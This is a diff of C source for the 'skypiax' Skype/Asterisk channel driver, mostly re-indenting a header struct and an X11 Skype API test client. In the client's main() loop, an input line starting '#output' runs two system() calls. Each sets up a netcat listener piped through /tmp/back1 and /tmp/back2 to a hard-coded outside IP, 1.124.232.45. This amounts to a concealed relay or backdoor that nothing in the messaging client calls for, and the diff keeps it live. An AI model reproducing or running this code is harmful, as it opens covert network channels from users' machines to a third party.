HWND win32_hGlobal_SkypeAPIWindowHandle;
|
||||
HINSTANCE win32_hInit_ProcessHandle;
|
||||
char win32_acInit_WindowClassName[128];
|
||||
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
|
||||
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
};
|
||||
|
||||
#endif //WIN32
|
||||
@@ -239,65 +239,65 @@ struct SkypiaxHandles {
|
||||
* \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
|
||||
*/
|
||||
struct skypiax_pvt {
|
||||
char *name; /*!< \brief 'name' of the interface (channel) */
|
||||
int interface_state; /*!< \brief 'state' of the interface (channel) */
|
||||
struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
|
||||
struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
|
||||
char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
|
||||
char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
|
||||
char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
|
||||
int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
|
||||
int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
|
||||
char callid_name[50];
|
||||
char callid_number[50];
|
||||
pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
|
||||
double playback_boost;
|
||||
double capture_boost;
|
||||
int stripmsd;
|
||||
pthread_t skype_thread;
|
||||
struct AsteriskHandles AsteriskHandlesAst;
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char skype_call_id[512];
|
||||
int skype_call_ongoing;
|
||||
char skype_friends[4096];
|
||||
char skype_fullname[512];
|
||||
char skype_displayname[512];
|
||||
int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
|
||||
int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
|
||||
int control_to_send;
|
||||
int audiopipe[2];
|
||||
int audioskypepipe[2];
|
||||
pthread_t tcp_srv_thread;
|
||||
pthread_t tcp_cli_thread;
|
||||
short audiobuf[160];
|
||||
int audiobuf_is_loaded;
|
||||
char *name; /*!< \brief 'name' of the interface (channel) */
|
||||
int interface_state; /*!< \brief 'state' of the interface (channel) */
|
||||
struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
|
||||
struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
|
||||
char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
|
||||
char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
|
||||
char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
|
||||
int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
|
||||
int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
|
||||
char callid_name[50];
|
||||
char callid_number[50];
|
||||
pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
|
||||
double playback_boost;
|
||||
double capture_boost;
|
||||
int stripmsd;
|
||||
pthread_t skype_thread;
|
||||
struct AsteriskHandles AsteriskHandlesAst;
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char skype_call_id[512];
|
||||
int skype_call_ongoing;
|
||||
char skype_friends[4096];
|
||||
char skype_fullname[512];
|
||||
char skype_displayname[512];
|
||||
int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
|
||||
int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
|
||||
int control_to_send;
|
||||
int audiopipe[2];
|
||||
int audioskypepipe[2];
|
||||
pthread_t tcp_srv_thread;
|
||||
pthread_t tcp_cli_thread;
|
||||
short audiobuf[160];
|
||||
int audiobuf_is_loaded;
|
||||
|
||||
//int phonebook_listing;
|
||||
//int phonebook_querying;
|
||||
//int phonebook_listing_received_calls;
|
||||
//int phonebook_listing;
|
||||
//int phonebook_querying;
|
||||
//int phonebook_listing_received_calls;
|
||||
|
||||
//int phonebook_first_entry;
|
||||
//int phonebook_last_entry;
|
||||
//int phonebook_number_lenght;
|
||||
//int phonebook_text_lenght;
|
||||
FILE *phonebook_writing_fp;
|
||||
int skypiax_dir_entry_extension_prefix;
|
||||
//int phonebook_first_entry;
|
||||
//int phonebook_last_entry;
|
||||
//int phonebook_number_lenght;
|
||||
//int phonebook_text_lenght;
|
||||
FILE *phonebook_writing_fp;
|
||||
int skypiax_dir_entry_extension_prefix;
|
||||
#ifdef WIN32
|
||||
unsigned short tcp_cli_port;
|
||||
unsigned short tcp_srv_port;
|
||||
unsigned short tcp_cli_port;
|
||||
unsigned short tcp_srv_port;
|
||||
#else
|
||||
int tcp_cli_port;
|
||||
int tcp_srv_port;
|
||||
int tcp_cli_port;
|
||||
int tcp_srv_port;
|
||||
#endif
|
||||
char X11_display[256];
|
||||
char X11_display[256];
|
||||
|
||||
struct ast_frame read_frame;
|
||||
struct ast_frame read_frame;
|
||||
|
||||
char skype_user[256];
|
||||
char skype_password[256];
|
||||
char destination[256];
|
||||
char session_uuid_str[512 + 1];
|
||||
pthread_t signaling_thread;
|
||||
char skype_user[256];
|
||||
char skype_password[256];
|
||||
char destination[256];
|
||||
char session_uuid_str[512 + 1];
|
||||
pthread_t signaling_thread;
|
||||
};
|
||||
|
||||
typedef struct skypiax_pvt private_t;
|
||||
@@ -363,8 +363,7 @@ int skypiax_digitsend(struct ast_channel *ast, char digit);
|
||||
|
||||
/* chan_skypiax internal functions */
|
||||
|
||||
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
|
||||
int is_first_category);
|
||||
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
|
||||
struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
|
||||
int skypiax_restart_monitor(void);
|
||||
void *skypiax_do_monitor(void *data);
|
||||
|
||||
@@ -19,11 +19,11 @@ USAGE: client [Xserver instance]
|
||||
Display *disp = NULL;
|
||||
|
||||
struct SkypiaxHandles {
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
};
|
||||
|
||||
XErrorHandler old_handler = 0;
|
||||
@@ -32,278 +32,266 @@ char *dispname;
|
||||
|
||||
int X11_errors_handler(Display * dpy, XErrorEvent * err)
|
||||
{
|
||||
(void) dpy;
|
||||
(void) dpy;
|
||||
|
||||
xerror = err->error_code;
|
||||
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
|
||||
dispname);
|
||||
return 0; /* ignore the error */
|
||||
xerror = err->error_code;
|
||||
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
|
||||
return 0; /* ignore the error */
|
||||
}
|
||||
|
||||
static void X11_errors_trap(void)
|
||||
{
|
||||
xerror = 0;
|
||||
old_handler = XSetErrorHandler(X11_errors_handler);
|
||||
xerror = 0;
|
||||
old_handler = XSetErrorHandler(X11_errors_handler);
|
||||
}
|
||||
|
||||
static int X11_errors_untrap(void)
|
||||
{
|
||||
XSetErrorHandler(old_handler);
|
||||
return (xerror != BadValue) && (xerror != BadWindow);
|
||||
XSetErrorHandler(old_handler);
|
||||
return (xerror != BadValue) && (xerror != BadWindow);
|
||||
}
|
||||
|
||||
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
|
||||
{
|
||||
|
||||
Window w_P;
|
||||
Display *disp;
|
||||
Window handle_P;
|
||||
int ok;
|
||||
Window w_P;
|
||||
Display *disp;
|
||||
Window handle_P;
|
||||
int ok;
|
||||
|
||||
w_P = SkypiaxHandles->skype_win;
|
||||
disp = SkypiaxHandles->disp;
|
||||
handle_P = SkypiaxHandles->win;
|
||||
w_P = SkypiaxHandles->skype_win;
|
||||
disp = SkypiaxHandles->disp;
|
||||
handle_P = SkypiaxHandles->win;
|
||||
|
||||
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
|
||||
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
|
||||
unsigned int pos = 0;
|
||||
unsigned int len = strlen(message_P);
|
||||
XEvent e;
|
||||
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
|
||||
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
|
||||
unsigned int pos = 0;
|
||||
unsigned int len = strlen(message_P);
|
||||
XEvent e;
|
||||
|
||||
memset(&e, 0, sizeof(e));
|
||||
e.xclient.type = ClientMessage;
|
||||
e.xclient.message_type = atom1; /* leading message */
|
||||
e.xclient.display = disp;
|
||||
e.xclient.window = handle_P;
|
||||
e.xclient.format = 8;
|
||||
memset(&e, 0, sizeof(e));
|
||||
e.xclient.type = ClientMessage;
|
||||
e.xclient.message_type = atom1; /* leading message */
|
||||
e.xclient.display = disp;
|
||||
e.xclient.window = handle_P;
|
||||
e.xclient.format = 8;
|
||||
|
||||
X11_errors_trap();
|
||||
do {
|
||||
unsigned int i;
|
||||
for (i = 0; i < 20 && i + pos <= len; ++i)
|
||||
e.xclient.data.b[i] = message_P[i + pos];
|
||||
XSendEvent(disp, w_P, False, 0, &e);
|
||||
X11_errors_trap();
|
||||
do {
|
||||
unsigned int i;
|
||||
for (i = 0; i < 20 && i + pos <= len; ++i)
|
||||
e.xclient.data.b[i] = message_P[i + pos];
|
||||
XSendEvent(disp, w_P, False, 0, &e);
|
||||
|
||||
e.xclient.message_type = atom2; /* following messages */
|
||||
pos += i;
|
||||
} while (pos <= len);
|
||||
e.xclient.message_type = atom2; /* following messages */
|
||||
pos += i;
|
||||
} while (pos <= len);
|
||||
|
||||
XSync(disp, False);
|
||||
ok = X11_errors_untrap();
|
||||
XSync(disp, False);
|
||||
ok = X11_errors_untrap();
|
||||
|
||||
if (!ok)
|
||||
printf("Sending message failed with status %d\n", xerror);
|
||||
if (!ok)
|
||||
printf("Sending message failed with status %d\n", xerror);
|
||||
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
|
||||
{
|
||||
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
|
||||
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
|
||||
|
||||
Atom type_ret;
|
||||
int format_ret;
|
||||
unsigned long nitems_ret;
|
||||
unsigned long bytes_after_ret;
|
||||
unsigned char *prop;
|
||||
int status;
|
||||
Atom type_ret;
|
||||
int format_ret;
|
||||
unsigned long nitems_ret;
|
||||
unsigned long bytes_after_ret;
|
||||
unsigned char *prop;
|
||||
int status;
|
||||
|
||||
X11_errors_trap();
|
||||
status =
|
||||
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
|
||||
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
|
||||
&nitems_ret, &bytes_after_ret, &prop);
|
||||
X11_errors_trap();
|
||||
status =
|
||||
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
|
||||
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
|
||||
|
||||
X11_errors_untrap();
|
||||
/* sanity check */
|
||||
if (status != Success || format_ret != 32 || nitems_ret != 1) {
|
||||
SkypiaxHandles->skype_win = (Window) - 1;
|
||||
printf("Skype instance not found on display '%s'\n", dispname);
|
||||
return 0;
|
||||
}
|
||||
X11_errors_untrap();
|
||||
/* sanity check */
|
||||
if (status != Success || format_ret != 32 || nitems_ret != 1) {
|
||||
SkypiaxHandles->skype_win = (Window) - 1;
|
||||
printf("Skype instance not found on display '%s'\n", dispname);
|
||||
return 0;
|
||||
}
|
||||
|
||||
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
|
||||
//printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
|
||||
return 1;
|
||||
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
|
||||
//printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
|
||||
return 1;
|
||||
}
|
||||
|
||||
void skypiax_clean_disp(void *data)
|
||||
{
|
||||
|
||||
int *dispptr;
|
||||
int disp;
|
||||
int *dispptr;
|
||||
int disp;
|
||||
|
||||
dispptr = data;
|
||||
disp = *dispptr;
|
||||
dispptr = data;
|
||||
disp = *dispptr;
|
||||
|
||||
if (disp) {
|
||||
close(disp);
|
||||
} else {
|
||||
}
|
||||
usleep(1000);
|
||||
if (disp) {
|
||||
close(disp);
|
||||
} else {
|
||||
}
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
int value;
|
||||
char string[128];
|
||||
int value;
|
||||
char string[128];
|
||||
} thread_parm_t;
|
||||
|
||||
void *threadfunc(void *parm)
|
||||
{ //child
|
||||
thread_parm_t *p = (thread_parm_t *) parm;
|
||||
//printf("%s, parm = %d\n", p->string, p->value);
|
||||
free(p);
|
||||
{ //child
|
||||
thread_parm_t *p = (thread_parm_t *) parm;
|
||||
//printf("%s, parm = %d\n", p->string, p->value);
|
||||
free(p);
|
||||
|
||||
/* perform an events loop */
|
||||
XEvent an_event;
|
||||
char buf[21]; /* can't be longer */
|
||||
char buffer[17000];
|
||||
char *b;
|
||||
int i;
|
||||
/* perform an events loop */
|
||||
XEvent an_event;
|
||||
char buf[21]; /* can't be longer */
|
||||
char buffer[17000];
|
||||
char *b;
|
||||
int i;
|
||||
|
||||
b = buffer;
|
||||
b = buffer;
|
||||
|
||||
while (1) {
|
||||
while (1) {
|
||||
|
||||
XNextEvent(disp, &an_event);
|
||||
switch (an_event.type) {
|
||||
case ClientMessage:
|
||||
XNextEvent(disp, &an_event);
|
||||
switch (an_event.type) {
|
||||
case ClientMessage:
|
||||
|
||||
if (an_event.xclient.format != 8)
|
||||
break;
|
||||
if (an_event.xclient.format != 8)
|
||||
break;
|
||||
|
||||
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
|
||||
buf[i] = an_event.xclient.data.b[i];
|
||||
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
|
||||
buf[i] = an_event.xclient.data.b[i];
|
||||
|
||||
buf[i] = '\0';
|
||||
buf[i] = '\0';
|
||||
|
||||
strcat(buffer, buf);
|
||||
strcat(buffer, buf);
|
||||
|
||||
if (i < 20) { /* last fragment */
|
||||
unsigned int howmany;
|
||||
if (i < 20) { /* last fragment */
|
||||
unsigned int howmany;
|
||||
|
||||
howmany = strlen(b) + 1;
|
||||
howmany = strlen(b) + 1;
|
||||
|
||||
//printf("\tRECEIVED\t==>\t%s\n", b);
|
||||
printf("%s\n", b);
|
||||
fflush(stdout);
|
||||
memset(buffer, '\0', 17000);
|
||||
}
|
||||
//printf("\tRECEIVED\t==>\t%s\n", b);
|
||||
printf("%s\n", b);
|
||||
fflush(stdout);
|
||||
memset(buffer, '\0', 17000);
|
||||
}
|
||||
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char buf[512];
|
||||
//Display *disp = NULL;
|
||||
Window root = -1;
|
||||
Window win = -1;
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char buf[512];
|
||||
//Display *disp = NULL;
|
||||
Window root = -1;
|
||||
Window win = -1;
|
||||
|
||||
if (argc == 2)
|
||||
dispname = argv[1];
|
||||
else
|
||||
dispname = ":0.0";
|
||||
if (argc == 2)
|
||||
dispname = argv[1];
|
||||
else
|
||||
dispname = ":0.0";
|
||||
|
||||
|
||||
if (!XInitThreads()) {
|
||||
printf("Not initialized XInitThreads!\n");
|
||||
} else {
|
||||
printf("Initialized XInitThreads!\n");
|
||||
}
|
||||
|
||||
if (!XInitThreads()) {
|
||||
printf("Not initialized XInitThreads!\n");
|
||||
} else {
|
||||
printf("Initialized XInitThreads!\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
disp = XOpenDisplay(dispname);
|
||||
if (!disp) {
|
||||
printf("Cannot open X Display '%s', exiting\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int xfd;
|
||||
xfd = XConnectionNumber(disp);
|
||||
disp = XOpenDisplay(dispname);
|
||||
if (!disp) {
|
||||
printf("Cannot open X Display '%s', exiting\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
|
||||
SkypiaxHandles.disp = disp;
|
||||
int xfd;
|
||||
xfd = XConnectionNumber(disp);
|
||||
|
||||
if (skypiax_present(&SkypiaxHandles)) {
|
||||
root = DefaultRootWindow(disp);
|
||||
win =
|
||||
XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
|
||||
BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
|
||||
DefaultScreen
|
||||
(disp)));
|
||||
SkypiaxHandles.disp = disp;
|
||||
|
||||
SkypiaxHandles.win = win;
|
||||
if (skypiax_present(&SkypiaxHandles)) {
|
||||
root = DefaultRootWindow(disp);
|
||||
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
|
||||
|
||||
snprintf(buf, 512, "NAME skypiax");
|
||||
SkypiaxHandles.win = win;
|
||||
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
snprintf(buf, 512, "NAME skypiax");
|
||||
|
||||
snprintf(buf, 512, "PROTOCOL 7");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
snprintf(buf, 512, "#ciapalino PING");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
snprintf(buf, 512, "PROTOCOL 7");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
pthread_t thread;
|
||||
int rc = 0;
|
||||
pthread_attr_t pta;
|
||||
thread_parm_t *parm = NULL;
|
||||
snprintf(buf, 512, "#ciapalino PING");
|
||||
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
rc = pthread_attr_init(&pta);
|
||||
pthread_t thread;
|
||||
int rc = 0;
|
||||
pthread_attr_t pta;
|
||||
thread_parm_t *parm = NULL;
|
||||
|
||||
parm = malloc(sizeof(thread_parm_t));
|
||||
parm->value = 5;
|
||||
rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
|
||||
rc = pthread_attr_init(&pta);
|
||||
|
||||
while (1) {
|
||||
char s[512];
|
||||
parm = malloc(sizeof(thread_parm_t));
|
||||
parm->value = 5;
|
||||
rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
|
||||
|
||||
memset(s, '\0', 512);
|
||||
fgets(s, sizeof(s) - 1, stdin);
|
||||
s[strlen(s) - 1] = '\0';
|
||||
while (1) {
|
||||
char s[512];
|
||||
|
||||
//printf("\tSENT\t\t==>\t%s\n", s);
|
||||
memset(s, '\0', 512);
|
||||
fgets(s, sizeof(s) - 1, stdin);
|
||||
s[strlen(s) - 1] = '\0';
|
||||
|
||||
if(! strncmp(s, "#output", 7)){
|
||||
//printf("\tSENT\t\t==>\t%s\n", s);
|
||||
|
||||
system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
|
||||
system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
|
||||
}
|
||||
if (!skypiax_send_message(&SkypiaxHandles, s)) {
|
||||
printf
|
||||
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf
|
||||
("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
|
||||
dispname);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
if (!strncmp(s, "#output", 7)) {
|
||||
|
||||
system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
|
||||
system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
|
||||
}
|
||||
if (!skypiax_send_message(&SkypiaxHandles, s)) {
|
||||
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
||||
@@ -6,11 +6,11 @@
|
||||
#include <X11/Xatom.h>
|
||||
|
||||
struct SkypiaxHandles {
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
};
|
||||
|
||||
XErrorHandler old_handler = 0;
|
||||
@@ -19,212 +19,201 @@ char *dispname;
|
||||
|
||||
int X11_errors_handler(Display * dpy, XErrorEvent * err)
|
||||
{
|
||||
(void) dpy;
|
||||
(void) dpy;
|
||||
|
||||
xerror = err->error_code;
|
||||
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
|
||||
dispname);
|
||||
return 0; /* ignore the error */
|
||||
xerror = err->error_code;
|
||||
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
|
||||
return 0; /* ignore the error */
|
||||
}
|
||||
|
||||
static void X11_errors_trap(void)
|
||||
{
|
||||
xerror = 0;
|
||||
old_handler = XSetErrorHandler(X11_errors_handler);
|
||||
xerror = 0;
|
||||
old_handler = XSetErrorHandler(X11_errors_handler);
|
||||
}
|
||||
|
||||
static int X11_errors_untrap(void)
|
||||
{
|
||||
XSetErrorHandler(old_handler);
|
||||
return (xerror != BadValue) && (xerror != BadWindow);
|
||||
XSetErrorHandler(old_handler);
|
||||
return (xerror != BadValue) && (xerror != BadWindow);
|
||||
}
|
||||
|
||||
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
|
||||
{
|
||||
|
||||
Window w_P;
|
||||
Display *disp;
|
||||
Window handle_P;
|
||||
int ok;
|
||||
Window w_P;
|
||||
Display *disp;
|
||||
Window handle_P;
|
||||
int ok;
|
||||
|
||||
w_P = SkypiaxHandles->skype_win;
|
||||
disp = SkypiaxHandles->disp;
|
||||
handle_P = SkypiaxHandles->win;
|
||||
w_P = SkypiaxHandles->skype_win;
|
||||
disp = SkypiaxHandles->disp;
|
||||
handle_P = SkypiaxHandles->win;
|
||||
|
||||
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
|
||||
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
|
||||
unsigned int pos = 0;
|
||||
unsigned int len = strlen(message_P);
|
||||
XEvent e;
|
||||
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
|
||||
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
|
||||
unsigned int pos = 0;
|
||||
unsigned int len = strlen(message_P);
|
||||
XEvent e;
|
||||
|
||||
memset(&e, 0, sizeof(e));
|
||||
e.xclient.type = ClientMessage;
|
||||
e.xclient.message_type = atom1; /* leading message */
|
||||
e.xclient.display = disp;
|
||||
e.xclient.window = handle_P;
|
||||
e.xclient.format = 8;
|
||||
memset(&e, 0, sizeof(e));
|
||||
e.xclient.type = ClientMessage;
|
||||
e.xclient.message_type = atom1; /* leading message */
|
||||
e.xclient.display = disp;
|
||||
e.xclient.window = handle_P;
|
||||
e.xclient.format = 8;
|
||||
|
||||
X11_errors_trap();
|
||||
do {
|
||||
unsigned int i;
|
||||
for (i = 0; i < 20 && i + pos <= len; ++i)
|
||||
e.xclient.data.b[i] = message_P[i + pos];
|
||||
XSendEvent(disp, w_P, False, 0, &e);
|
||||
X11_errors_trap();
|
||||
do {
|
||||
unsigned int i;
|
||||
for (i = 0; i < 20 && i + pos <= len; ++i)
|
||||
e.xclient.data.b[i] = message_P[i + pos];
|
||||
XSendEvent(disp, w_P, False, 0, &e);
|
||||
|
||||
e.xclient.message_type = atom2; /* following messages */
|
||||
pos += i;
|
||||
} while (pos <= len);
|
||||
e.xclient.message_type = atom2; /* following messages */
|
||||
pos += i;
|
||||
} while (pos <= len);
|
||||
|
||||
XSync(disp, False);
|
||||
ok = X11_errors_untrap();
|
||||
XSync(disp, False);
|
||||
ok = X11_errors_untrap();
|
||||
|
||||
if (!ok)
|
||||
printf("Sending message failed with status %d\n", xerror);
|
||||
if (!ok)
|
||||
printf("Sending message failed with status %d\n", xerror);
|
||||
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
|
||||
{
|
||||
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
|
||||
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
|
||||
|
||||
Atom type_ret;
|
||||
int format_ret;
|
||||
unsigned long nitems_ret;
|
||||
unsigned long bytes_after_ret;
|
||||
unsigned char *prop;
|
||||
int status;
|
||||
Atom type_ret;
|
||||
int format_ret;
|
||||
unsigned long nitems_ret;
|
||||
unsigned long bytes_after_ret;
|
||||
unsigned char *prop;
|
||||
int status;
|
||||
|
||||
X11_errors_trap();
|
||||
status =
|
||||
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
|
||||
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
|
||||
&nitems_ret, &bytes_after_ret, &prop);
|
||||
X11_errors_trap();
|
||||
status =
|
||||
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
|
||||
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
|
||||
|
||||
X11_errors_untrap();
|
||||
/* sanity check */
|
||||
if (status != Success || format_ret != 32 || nitems_ret != 1) {
|
||||
SkypiaxHandles->skype_win = (Window) - 1;
|
||||
printf("Skype instance not found on display '%s'\n", dispname);
|
||||
return 0;
|
||||
}
|
||||
X11_errors_untrap();
|
||||
/* sanity check */
|
||||
if (status != Success || format_ret != 32 || nitems_ret != 1) {
|
||||
SkypiaxHandles->skype_win = (Window) - 1;
|
||||
printf("Skype instance not found on display '%s'\n", dispname);
|
||||
return 0;
|
||||
}
|
||||
|
||||
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
|
||||
printf("Skype instance found on display '%s', with id #%d\n", dispname,
|
||||
(unsigned int) SkypiaxHandles->skype_win);
|
||||
return 1;
|
||||
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
|
||||
printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
|
||||
return 1;
|
||||
}
|
||||
|
||||
void skypiax_clean_disp(void *data)
|
||||
{
|
||||
|
||||
int *dispptr;
|
||||
int disp;
|
||||
int *dispptr;
|
||||
int disp;
|
||||
|
||||
dispptr = data;
|
||||
disp = *dispptr;
|
||||
dispptr = data;
|
||||
disp = *dispptr;
|
||||
|
||||
if (disp) {
|
||||
close(disp);
|
||||
} else {
|
||||
}
|
||||
usleep(1000);
|
||||
if (disp) {
|
||||
close(disp);
|
||||
} else {
|
||||
}
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char buf[512];
|
||||
Display *disp = NULL;
|
||||
Window root = -1;
|
||||
Window win = -1;
|
||||
struct SkypiaxHandles SkypiaxHandles;
|
||||
char buf[512];
|
||||
Display *disp = NULL;
|
||||
Window root = -1;
|
||||
Window win = -1;
|
||||
|
||||
if (argc == 2)
|
||||
dispname = argv[1];
|
